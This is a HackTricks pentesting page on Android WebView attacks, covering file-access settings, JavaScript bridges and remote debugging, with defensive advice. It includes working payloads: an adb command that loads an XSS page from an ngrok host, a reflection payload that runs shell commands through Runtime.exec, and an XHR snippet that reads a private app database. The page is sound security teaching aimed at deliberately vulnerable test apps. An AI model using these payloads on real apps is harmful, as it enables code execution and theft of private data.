hacktricks/mobile-pentesting/android-app-pentesting/webview-attacks.md
Carlos Polop 5d26a0c40a arte
2024-01-03 11:43:38 +01:00

218 lines
14 KiB
Markdown
Raw Blame History

This file contains ambiguous Unicode characters

This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

# Webview Attacks
<details>
<summary><strong>Learn AWS hacking from zero to hero with</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Other ways to support HackTricks:
* If you want to see your **company advertised in HackTricks** or **download HackTricks in PDF** Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
* **Share your hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
## Interesting Configurations
You can identify an exposed WebView like this:
<figure><img src="../../.gitbook/assets/image (718).png" alt=""><figcaption></figcaption></figure>
### File Access
_WebView_ file access is enabled by default. Since API 3 (Cupcake 1.5) the method [_setAllowFileAccess()_](https://developer.android.com/reference/android/webkit/WebSettings.html#setAllowFileAccess\(boolean\)) is available for explicitly enabling or disabling it.\
If the application has \_**android.permission.READ\_EXTERNAL\_STORAGE** \_ it will be able to read and load files **from the external storage**.\
The _WebView_ needs to use a File URL Scheme, e.g., `file://path/file`, to access the file.
#### Universal Access From File URL (Deprecated)
> Sets whether **cross-origin requests** in the **context of a file** scheme URL should be allowed to access **content from any origin**. This includes **access to content from other file scheme URLs or web contexts.** Note that some access such as image HTML elements doesn't follow same-origin rules and isn't affected by this setting.
>
> **Don't** enable this setting if you open files that may be created or altered by external sources. Enabling this setting **allows malicious scripts loaded in a `file://`** context to launch cross-site scripting attacks, either **accessing arbitrary local files** including WebView cookies, app private data or even credentials used on arbitrary web sites.
In summary this will **prevent loading arbitrary Origins.** The app will send the URL request lo load the content with **`Origin: file://`** if the response doesn't allow that origin (**`Access-Control-Allow-Origin: file://`**) then the content won't be loaded.\
The **default value is `false`** when targeting [`Build.VERSION_CODES.JELLY_BEAN`](https://developer.android.com/reference/android/os/Build.VERSION\_CODES#JELLY\_BEAN) and above.
* Use [`getAllowUniversalAccessFromFileURLs()`](https://developer.android.com/reference/android/webkit/WebSettings#getAllowUniversalAccessFromFileURLs\(\)) to know whether JavaScript running in the context of a file scheme URL can access content from any origin (if UniversalAccessFromFileURL is enabled).
* Use [`setAllowUniversalAccessFromFileURLs(boolean)`](https://developer.android.com/reference/android/webkit/WebSettings#setAllowUniversalAccessFromFileURLs\(boolean\)) to enable/disable it.
{% hint style="info" %}
Using **`loadDataWithBaseURL()`** with `null` as baseURL will also **prevent to load local files** even if all the dangerous settings are enabled.
{% endhint %}
#### File Access From File URLs (Deprecated) <a href="#getallowfileaccessfromfileurls" id="getallowfileaccessfromfileurls"></a>
> Sets whether cross-origin requests in the context of a file scheme URL should be allowed to access content from other file scheme URLs. Note that some accesses such as image HTML elements don't follow same-origin rules and aren't affected by this setting.
>
> **Don't** enable this setting if you open files that may be created or altered by external sources. Enabling this setting allows malicious scripts loaded in a `file://` context to access arbitrary local files including WebView cookies and app private data.
In summary, this prevents javascript to access local files via `file://` protocol.\
Note that **the value of this setting is ignored** if the value of [`getAllowUniversalAccessFromFileURLs()`](https://developer.android.com/reference/android/webkit/WebSettings#getAllowUniversalAccessFromFileURLs\(\)) is `true`.\
The **default value is `false`** when targeting [`Build.VERSION_CODES.JELLY_BEAN`](https://developer.android.com/reference/android/os/Build.VERSION\_CODES#JELLY\_BEAN) and above.
* Use [`getAllowFileAccessFromFileURLs()`](https://developer.android.com/reference/android/webkit/WebSettings#getAllowFileAccessFromFileURLs\(\)) to know whether JavaScript is running in the context of a file scheme URL can access content from other file scheme URLs.
* Use [`setAllowFileAccessFromFileURLs(boolen)`](https://developer.android.com/reference/android/webkit/WebSettings#setAllowFileAccessFromFileURLs\(boolean\))to enable/disable it.
#### File Access
> Enables or disables **file access within WebView**. Note that this enables or disables file system access only. Assets and resources are still accessible using file:///android\_asset and file:///android\_res.
In summary, if disable, the WebView won't be able to load a local file with the `file://` protocol.\
The **default value is`false`** when targeting [`Build.VERSION_CODES.R`](https://developer.android.com/reference/android/os/Build.VERSION\_CODES#R) and above.
* Use [`getAllowFileAccess()`](https://developer.android.com/reference/android/webkit/WebSettings#getAllowFileAccess\(\)) to know if the configuration is enabled.
* Use [`setAllowFileAccess(boolean)`](https://developer.android.com/reference/android/webkit/WebSettings#setAllowFileAccess\(boolean\)) to enable/disable it.
#### WebViewAssetLoader
> Helper class to load local files including application's static assets and resources using http(s):// URLs inside a [`WebView`](https://developer.android.com/reference/android/webkit/WebView.html) class. Loading local files using web-like URLs instead of `"file://"` is desirable as it is compatible with the Same-Origin policy.
This is new recommended way to load local files. The goal is to **access local files using a HTTP URL with the domain**. This way the **CORS** can be **easily** maintained between the **local** web **pages** and the **web** **pages** that are downloaded from the web server.
### Javascript Enabled
WebViews have Javascript **disabled by default**. The method [`setJavaScriptEnabled()`](https://developer.android.com/reference/android/webkit/WebSettings.html#setJavaScriptEnabled\(boolean\)) is can explicitly enabling or disabling it.\
Note that webviews can also support the **`intent`** **scheme** that allows to fire other applications. Read this [writeup to find how to go from XSS to RCE](https://medium.com/@dPhoeniixx/tiktok-for-android-1-click-rce-240266e78105).
here is an example of an exposed webview vulnerable to XSS via the parameter "support\_url" (which can indicate the URL to load in the webviwe):
<figure><img src="../../.gitbook/assets/image (719).png" alt="" width="563"><figcaption></figcaption></figure>
It's possible to exploit that vuln from adb with something like:
{% code overflow="wrap" %}
```bash
adb.exe shell am start -n com.tmh.vulnwebview/.SupportWebView es support_url "https://6333-157-48-216-175.ngrok-free.app/xss.html"
```
{% endcode %}
### Javascript Bridge
Android offers a way for JavaScript executed in a WebView to call and use **native functions of an Android app** (annotated with `@JavascriptInterface`) by using the [`addJavascriptInterface`](https://developer.android.com/reference/android/webkit/WebView.html#addJavascriptInterface%28java.lang.Object,%20java.lang.String%29) method. This is known as a _WebView JavaScript bridge_ or _native bridge_.
Please note that **when you use `addJavascriptInterface`, you're explicitly granting access to the registered JavaScript Interface object to all pages loaded within that WebView**. This implies that, if the user navigates outside your app or domain, all other external pages will also have access to those JavaScript Interface objects which might present a potential security risk if any sensitive data is being exposed though those interfaces.
> Warning: Take extreme care with apps targeting Android versions below Android 4.2 (API level 17) as they are [vulnerable to a flaw](https://labs.mwrinfosecurity.com/blog/webview-addjavascriptinterface-remote-code-execution/) in the implementation of `addJavascriptInterface`: an attack that is abusing reflection, which leads to remote code execution when malicious JavaScript is injected into a WebView. This was due to all Java Object methods being accessible by default (instead of only those annotated).
#### Static Analysis
```javascript
//Class with a method to access a secret
public class JavascriptBridge {
// Since Android 4.2 (JELLY_BEAN_MR1, API 17) methods
// not annotated with @JavascriptInterface are not visible from JavaScript
@JavascriptInterface
public String getSecret() {
return "SuperSecretPassword";
};
}
```
```javascript
//Enabling Javascript Bridge exposing an object of the JavascriptBridge class
webView.addJavascriptInterface(new JavascriptBridge(), "javascriptBridge");
webView.reload();
```
```markup
<!-- Exploit to get the secret from JavaScript -->
<script>alert(javascriptBridge.getSecret());</script>
```
With access to the JavaScript code, via, for example, via stored **XSS,** **MITM** attack or a **malicious** **website** that is loaded inside the WebView, can directly call the exposed Java methods.
{% hint style="info" %}
Note that in the case of trying to exploit this vulnerability via an **Open Redirect to an attackers web page that access the Native Android Objet**. If the access to the redirection is done via a mobile **browser** and **not using** the same **WebView**, the **browser won't be able to access the native Android object**.
{% endhint %}
If `addJavascriptInterface` is necessary, take the following considerations:
* **Only JavaScript provided** with the APK should be allowed to use the bridges, e.g. by verifying the URL on each bridged Java method (via `WebView.getUrl`).
* **No JavaScript should be loaded from remote endpoint**s, e.g. by keeping page navigation within the app's domains and opening all other domains on the default browser (e.g. Chrome, Firefox).
* If necessary for legacy reasons (e.g. having to support older devices), **at least set the minimal API level to 17** in the manifest file of the app (`<uses-sdk android:minSdkVersion="17" />`).
### Javascript Bridge to RCE via Reflection
As noted in [**this research** ](https://labs.withsecure.com/archive/webview-addjavascriptinterface-remote-code-execution/)(_check it for ideas in case you obtain RCE_) once you found a JavascriptBridge it may be possible to obtain **RCE** via **Reflection** using a payload like the following one:
```markup
<!-- javascriptBridge is the name of the Android exposed object -->
<script>
function execute(cmd){
return javascriptBridge.getClass().forName('java.lang.Runtime').getMethod('getRuntime',null).invoke(null,null).exec(cmd);
}
execute(['/system/bin/sh','-c','echo \"mwr\" > /mnt/sdcard/mwr.txt']);
</script>
```
However modern applications may use the **`@JavascriptInterface` annotation** that indicates to the JavascriptBridge that **only** the method with this annotation should be **exposed**.\
In that scenario, you won't be able to abuse Reflection to execute arbitrary code.
### Remote Debugging
**Remote WebView** **debugging** allow to access the webview with the **Chrome Developer Tools.**\
The **device** needs to be **accessible** by the PC (via USB, local emulator, local network...) and running the debuggable WebView, then access **chrome://inspect/#devices**:
![](<../../.gitbook/assets/image (525).png>)
Select **inspect** and a new window will be opened. In this Windows you can **interact with the content** of the **WebView** and even make it **execute arbitrary JS** code from the **console** tab:
![](<../../.gitbook/assets/image (526).png>)
In order to enable **WebView Remote Debugging** you can do something like:
```java
if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.KITKAT) {
WebView.setWebContentsDebuggingEnabled(true);
}
```
**This setting applies to all of the application's WebViews.**
{% hint style="info" %}
**WebView debugging is not affected by the state of the `debuggable` flag** in the application's manifest. If you want to enable WebView debugging only when `debuggable` is `true`, test the flag at runtime.
{% endhint %}
```java
if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.KITKAT) {
if (0 != (getApplicationInfo().flags & ApplicationInfo.FLAG_DEBUGGABLE))
{ WebView.setWebContentsDebuggingEnabled(true); }
}
```
## Payloads
### Exfiltrate arbitrary files
```javascript
var xhr = new XMLHttpRequest();
xhr.onreadystatechange = function() {
if (xhr.readyState == XMLHttpRequest.DONE) {
alert(xhr.responseText);
}
}
xhr.open('GET', 'file:///data/data/com.authenticationfailure.wheresmybrowser/databases/super_secret.db', true);
xhr.send(null);
```
## References
{% embed url="https://github.com/authenticationfailure/WheresMyBrowser.Android" %}
{% embed url="https://developer.android.com/reference/android/webkit/WebView" %}
<details>
<summary><strong>Learn AWS hacking from zero to hero with</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Other ways to support HackTricks:
* If you want to see your **company advertised in HackTricks** or **download HackTricks in PDF** Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
* **Share your hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>